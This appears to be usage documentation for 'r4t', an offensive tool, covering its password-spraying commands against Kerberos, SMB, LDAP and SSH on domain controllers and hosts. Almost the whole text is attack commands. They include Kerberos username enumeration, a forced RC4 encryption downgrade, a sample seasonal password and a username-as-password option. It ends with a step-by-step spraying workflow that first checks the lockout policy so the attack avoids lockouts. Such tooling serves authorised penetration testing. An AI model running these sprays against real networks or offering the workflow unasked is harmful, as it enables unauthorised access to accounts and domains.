r4t spray <protocol> [targets...] [flags]

r4t spray kerberos <method> [servers...] [flags]

# Spray against the stored target
r4t spray kerberos pwd

# Spray against specific servers
r4t spray kerberos pwd dc01.corp.example.com dc02.corp.example.com

# Spray all DCs from the database
r4t spray kerberos pwd --dcs

# Use safe mode (stop on first lockout)
r4t spray kerberos pwd --stop-on-lockout

# Force RC4 encryption (downgrade)
r4t spray kerberos pwd --downgrade

# Enumerate users from a wordlist against DC
r4t spray kerberos enum dc01.corp.example.com

# Use usernames from database (users without credentials)
r4t spray kerberos enum --db-users dc01.corp.example.com

# Spray against specific targets
r4t spray smb 10.10.10.20 10.10.10.21

# Spray with local authentication (don't append domain)
r4t spray smb --local 10.10.10.20

# Spray all stored targets using threads
r4t spray smb --threads 20 --stop-on-success

r4t spray ldap dc01.corp.example.com

# Spray all DCs
r4t spray ldap --dcs

r4t spray ssh 10.10.10.50 10.10.10.51

# Stop on first success
r4t spray ssh --stop-on-success 10.10.10.50

# Inline hostname or IP
r4t spray smb 10.10.10.10

# Multiple targets
r4t spray smb 10.10.10.10 10.10.10.20 10.10.10.21

# Load DCs from database
r4t spray kerberos pwd --dcs

# Uses stored target (default) if no targets specified
r4t spray ldap

# 1. Check password policy first
r4t ldap get users  # check lockout threshold

# 2. Enumerate valid usernames (no lockout risk)
r4t spray kerberos enum --dcs

# 3. Spray a single password carefully
r4t spray kerberos pwd --dcs --stop-on-lockout -p 'Winter2024!'

# 4. Spray SMB on workstations
r4t spray smb --threads 5 --stop-on-lockout 10.10.10.20 10.10.10.21

# 5. Use username as password (common misconfiguration)
r4t spray kerberos pwd --dcs --user-as-pass --stop-on-lockout